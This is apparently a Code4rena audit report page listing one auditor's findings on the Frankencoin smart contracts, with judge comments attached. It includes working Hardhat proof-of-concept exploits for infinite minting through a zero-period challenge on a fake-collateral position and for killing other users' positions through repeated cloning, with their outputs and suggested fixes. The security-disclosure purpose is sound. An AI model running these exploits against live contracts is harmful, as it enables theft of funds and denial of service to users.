Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 56/199
Findings: 4
Award: $84.44
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L115-L118 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140
An attacker can mint himself as many Frankencoins as he wants in a single transaction by challenging an invalid position.
Steps overview:
Since there's no check on the validity of a position when challenging it, an attacker can:
In-depth explanation and POC code:
The following is a test I added to PositionTests.ts
that implements this exploit (most of the setup code is copied from the position tests).
describe("Mint infinite Frankencoins", () => { it("create malicious position", async () => { // The collateral is a "fake" token that doesn't do anything and never reverts let dacaMock = await createContract("FakeToken", []); let collateral = dacaMock.address; // Attacker is gonna be rich let fliqPrice = BN.from("0xffffffffffffffffffffffffffffffffffffffffffffffff") let minCollateral = floatToDec18(0); let fInitialCollateral = floatToDec18(1); let duration = BN.from(14 * 86_400); let fFees = BN.from(fee * 1000_000); let fReserve = BN.from(reserve * 1000_000); let challengePeriod = BN.from(0); // Challenge period is zero let openingFeeZCHF = await mintingHubContract.OPENING_FEE(); // Attacker only needs the pay to position opening fee await ZCHFContract['transfer(address,uint256)'](attacker.address, openingFeeZCHF); // Create the malicous position let tx = await mintingHubContract.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"] (collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve); let rc = await tx.wait(); const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0); positionAddr = log.address; }); it("launch challange in malicous position", async () => { // The attacker starts with no tokens console.log("Attacker balance before attack: ", (await ZCHFContract.balanceOf(attacker.address)).toString()) // Create a new challenge in the malicous position await mintingHubContract.connect(attacker)["launchChallenge(address,uint256)"](positionAddr, floatToDec18(1)); }); it("end challange in malicous position", async () => { // Immediatly end the challenge (challenge index is `0`) await mintingHubContract.connect(attacker)["end(uint256,bool)"](BN.from(0), false); // The attacker ends with a lot of tokens console.log("Attacker balance after attack: ", (await ZCHFContract.balanceOf(attacker.address)).toString()) }); });
Note that I set attacker = accounts[5]
and that FakeToken
is some contract that doesn't do anything and always returns a sensible value. Here is the FakeToken
contract I wrote
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; contract FakeToken is IERC20 { function name() external view returns (string memory) { return "daca coin"; } function symbol() external view returns (string memory) { return "DACA"; } function decimals() external view returns (uint8) { return 18; } function totalSupply() external view returns (uint256) { return 0; } function balanceOf(address account) external view returns (uint256) { return 1; } function transfer(address recipient, uint256 amount) external returns (bool) { return true; } function transferAndCall(address recipient, uint256 amount, bytes calldata data) external returns (bool) { return true; } function allowance(address owner, address spender) external view returns (uint256) { return type(uint256).max; } function approve(address spender, uint256 amount) external returns (bool) { return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { return true; } }
After running the test, the output is
Mint infinite Frankencoins ✓ create malicous position Attacker balance before attack: 0 ✓ launch challange in malicous position Attacker balance after attack: 125542034707733615276715788464153328322 ✓ end challange in malicous position
As you can see, the attackers start with nothing and end with a practically infinite amount of Frankencoins.
Just the same hardhat suite as the project.
I recommend the following modifications:
The problem is that you can challenge positions that are still "hot". I suggest modifying the validPos modifier to check that the position is not hot. Here is an example code:
modifier validPos(address position) { require(zchf.isPosition(position) == address(this), "not our pos"); // Added the following line require(block.timestamp > position.cooldown(), "Position is still hot!"); _; }
If you want to allow hot positions to be challenged, then you still need to check that the position has started (and wasn't denied), so you can implement the following solution instead:
modifier validPos(address position) { require(zchf.isPosition(position) == address(this), "not our pos"); // Added the following line require(block.timestamp > position.start(), "Position hasn't started!"); _; }
You can launch a challenge and end it in the same transaction if you set the challenge period to 0
. I recommend adding a minimum challenge period, it must be at least one block long (so they can't happen in the same transaction, giving a defender time to act), or preferably at least a day or few. Add the following line to the Position
constructor, before this line
require(_challengePeriod > 1 day); challengePeriod = _challengePeriod;
#0 - c4-pre-sort
2023-04-21T09:26:12Z
0xA5DF marked the issue as primary issue
#1 - c4-pre-sort
2023-04-24T18:48:58Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:36:05Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: decade
Also found by: 0x3b, 0xDACA, 0xWaitress, 0xWeiss, 0xkaju, Arz, Aymen0909, BPZ, EloiManuel, HaCk0, J4de, Jerry0x, Jiamin, John, Juntao, Kek, Lalanda, MiloTruck, Mukund, PNS, RedTiger, Ruhum, Satyam_Sharma, ToonVH, Tricko, Udsen, ak1, anodaram, bin2chen, carrotsmuggler, cccz, circlelooper, deadrxsezzz, giovannidisiena, jasonxiale, joestakey, juancito, karanctf, kenta, kodyvim, ladboy233, lil_eth, lukino, markus_ether, marwen, mrpathfindr, nobody2018, parlayan_yildizlar_takimi, peakbolt, ravikiranweb3, rbserver, rvierdiiev, silviaxyz, volodya, zhuXKET, zzebra83
0.0748 USDC - $0.07
restructureCapTable
In the function restructureCapTable
there's the following loop
for (uint256 i = 0; i<addressesToWipe.length; i++) { address current = addressesToWipe[0]; _burn(current, balanceOf(current)); }
On each iteration of the loop, current = addressesToWipe[0]
is the same thing, so only the first iteration of the loop does something, and the next iterations do nothing.
The code should be current = addressesToWipe[i]
instead (notice the [i]
instead of [0]
).
Note: This was not caught in the tests because in the tests this function is called with a list with a single element.
#0 - 0xA5DF
2023-04-27T09:59:31Z
Dupe of #941
#1 - c4-judge
2023-05-18T05:48:13Z
hansfriese changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-05-18T05:48:13Z
hansfriese changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-05-18T05:49:41Z
hansfriese marked the issue as duplicate of #941
#4 - c4-judge
2023-05-18T14:23:53Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: Josiah
Also found by: 0xDACA, Diana, Emmanuel, Kumpa, Nyx, RaymondFam, Ruhum, __141345__, bin2chen, carlitox477, lil_eth, nobody2018, rbserver
28.2764 USDC - $28.28
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L98-L99
An attacker can take ownership (and also "kill") any and all active positions, denying users from creating and using positions.
Steps overview:
limit
gets cut in half, and the cloned position gets the other halflimit
reaches 0
(it actually reaches minted
but thats practically the same)
In-depth explenation:
When cloning a position with zero minimum mint, the limit
is reduced by half, and the limit
of the clone is set to be the other half.
A malicious attacker can keep cloning the position until the limit
is so low, the position is no longer useable, and is effectively "dead". Note that the cloned position is owned by the attacker, so he basically "stole" a position.
I added the following code in the PositionTests.ts
file, instead of the "clone position" test, to show this exploit in action:
async function clonePositionMinCol(positionToClone) { let fInitialCollateralClone = positionToClone.minimumCollateral(); let fZCHFAmount = floatToDec18(0); // send very little collateral to the attacker await mockVOL.transfer(attacker.address, fInitialCollateralClone); clonePositionContract = await clonePosition(attacker, positionToClone.address, fInitialCollateralClone, fZCHFAmount); } it("malicious clone position", async () => { let times = Math.ceil(Math.log2(await positionContract.limit())) for (let i = 0; i <= times; i++) { console.log('['+i+']'+' position limit = ', (await positionContract.limit()).toString()) await clonePositionMinCol(positionContract); } });
Running the above code we see that the limit of the position gets smaller and smaller until it reaches 1
, where the position is effectively "dead".
Position Tests use Minting Hub ✓ create position ✓ require cooldown ✓ get loan after 7 long days [0] position limit = 110000000000000000000000 [1] position limit = 55000000000000000000000 [2] position limit = 27500000000000000000000 [3] position limit = 13750000000000000000000 [4] position limit = 6875000000000000000000 [5] position limit = 3437500000000000000000 [6] position limit = 1718750000000000000000 [7] position limit = 859375000000000000000 [8] position limit = 429687500000000000000 [9] position limit = 214843750000000000000 [10] position limit = 107421875000000000000 [11] position limit = 53710937500000000000 [12] position limit = 26855468750000000000 [13] position limit = 13427734375000000000 [14] position limit = 6713867187500000000 [15] position limit = 3356933593750000000 [16] position limit = 1678466796875000000 [17] position limit = 839233398437500000 [18] position limit = 419616699218750000 [19] position limit = 209808349609375000 [20] position limit = 104904174804687500 [21] position limit = 52452087402343750 [22] position limit = 26226043701171875 [23] position limit = 13113021850585938 [24] position limit = 6556510925292969 [25] position limit = 3278255462646485 [26] position limit = 1639127731323243 [27] position limit = 819563865661622 [28] position limit = 409781932830811 [29] position limit = 204890966415406 [30] position limit = 102445483207703 [31] position limit = 51222741603852 [32] position limit = 25611370801926 [33] position limit = 12805685400963 [34] position limit = 6402842700482 [35] position limit = 3201421350241 [36] position limit = 1600710675121 [37] position limit = 800355337561 [38] position limit = 400177668781 [39] position limit = 200088834391 [40] position limit = 100044417196 [41] position limit = 50022208598 [42] position limit = 25011104299 [43] position limit = 12505552150 [44] position limit = 6252776075 [45] position limit = 3126388038 [46] position limit = 1563194019 [47] position limit = 781597010 [48] position limit = 390798505 [49] position limit = 195399253 [50] position limit = 97699627 [51] position limit = 48849814 [52] position limit = 24424907 [53] position limit = 12212454 [54] position limit = 6106227 [55] position limit = 3053114 [56] position limit = 1526557 [57] position limit = 763279 [58] position limit = 381640 [59] position limit = 190820 [60] position limit = 95410 [61] position limit = 47705 [62] position limit = 23853 [63] position limit = 11927 [64] position limit = 5964 [65] position limit = 2982 [66] position limit = 1491 [67] position limit = 746 [68] position limit = 373 [69] position limit = 187 [70] position limit = 94 [71] position limit = 47 [72] position limit = 24 [73] position limit = 12 [74] position limit = 6 [75] position limit = 3 [76] position limit = 2 [77] position limit = 1 ✓ malicious clone position
Just the same hardhat suite as the project.
I recommend adding a maxLimitReduction
variable, that would be equal to some sensible precentage of the limit
. The reduceLimitForClone function can be modified accordingly:
function reduceLimitForClone(uint256 _minimum) external noChallenge noCooldown alive onlyHub returns (uint256) { uint256 reduction = (limit - minted - _minimum)/2; // this will fail with an underflow if minimum is too high limit -= reduction + _minimum; // Added this line require(limit > maxLimitReduction, "limit reduced too much!"); return reduction + _minimum; }
Note that you need to initialize maxLimitReduction
in the constructore.
#0 - c4-pre-sort
2023-04-24T06:59:07Z
0xA5DF marked the issue as duplicate of #932
#1 - c4-judge
2023-05-18T13:56:16Z
hansfriese marked the issue as satisfactory
#2 - c4-judge
2023-05-18T13:56:23Z
hansfriese changed the severity to 2 (Med Risk)
🌟 Selected for report: c3phas
Also found by: 0xDACA, 0xRB, 0xSmartContract, 0xhacksmithh, 0xnev, Aymen0909, BenRai, Breeje, DishWasher, Erko, EvanW, JCN, MohammedRizwan, NoamYakov, Polaris_tow, Proxy, Rageur, Raihan, RaymondFam, ReyAdmirado, SAAJ, Sathish9098, Satyam_Sharma, Udsen, __141345__, aria, codeslide, decade, fatherOfBlocks, hunter_w3b, karanctf, matrix_0wl, nadin, naman1778, niser93, pavankv, petrichor, pfapostol, sebghatullah, slvDev, trysam2003, xmxanuel
21.0255 USDC - $21.03
O(n^2)
, but could be improved to O(n)
In the votes
function, there's the following double-loop
for (uint i=0; i<helpers.length; i++){ address current = helpers[i]; /* ... */ for (uint j=i+1; j<helpers.length; j++){ require(current != helpers[j]); // ensure helper unique } /* ... */ }
Hence, if there are n
helpers, the inner loop runs O(n^2)
times.
This could be improved to run in O(n)
times if the frontend sorts the helpers
array before calling the contract, then the contract only needs
Check that each helper is larger than the previous one (a single operation, instead of n
operations). The contract code will look like the following:
uint160 largestHelper = 0x0; for (uint i=0; i<helpers.length; i++){ address current = helpers[i]; /* ... */ //eEnsure helper unique (assumed to be sorted by the caller) require(uint160(current) > largestHelper); largestHelper = uint160(current); /* ... */ }
The savings could be huge if there are a lot.
Note: This will revert if the helpers aren't sorted.
I ran this function with different numbers of helpers to see the difference, and here are the results I got.
25826 gas
vs 25686 gas
)45450 gas
vs 30116 gas
)1518368 gas
vs 73921 gas
)At the price of gas as of when writing this, the 100
helpers case saves around 425$ of the cost (446$ to 21$).
canVoteFor
Recursion has problems since it takes more memory and is less efficient than regular loops. The canVoteFor
function can be easily implemented using loops instead. The following code does so:
// using recursion function canVoteForRec(address delegate, address owner) public view returns (bool) { if (owner == delegate){ return true; } else if (owner == address(0x0)){ return false; } else { return canVoteForRec(delegate, delegates[owner]); } } // using a loop function canVoteForLoop(address delegate, address owner) public view returns (bool) { address delegate_iter = delegates[owner]; while (delegate_iter != address(0x0)) { if (delegate_iter == delegate) { return true; } delegate_iter = delegates[delegate_iter]; } return false; }
I would note that the gas improvement is only around 1.5% from my tests, so not that much, but still.
#0 - c4-judge
2023-05-16T13:57:57Z
hansfriese marked the issue as grade-b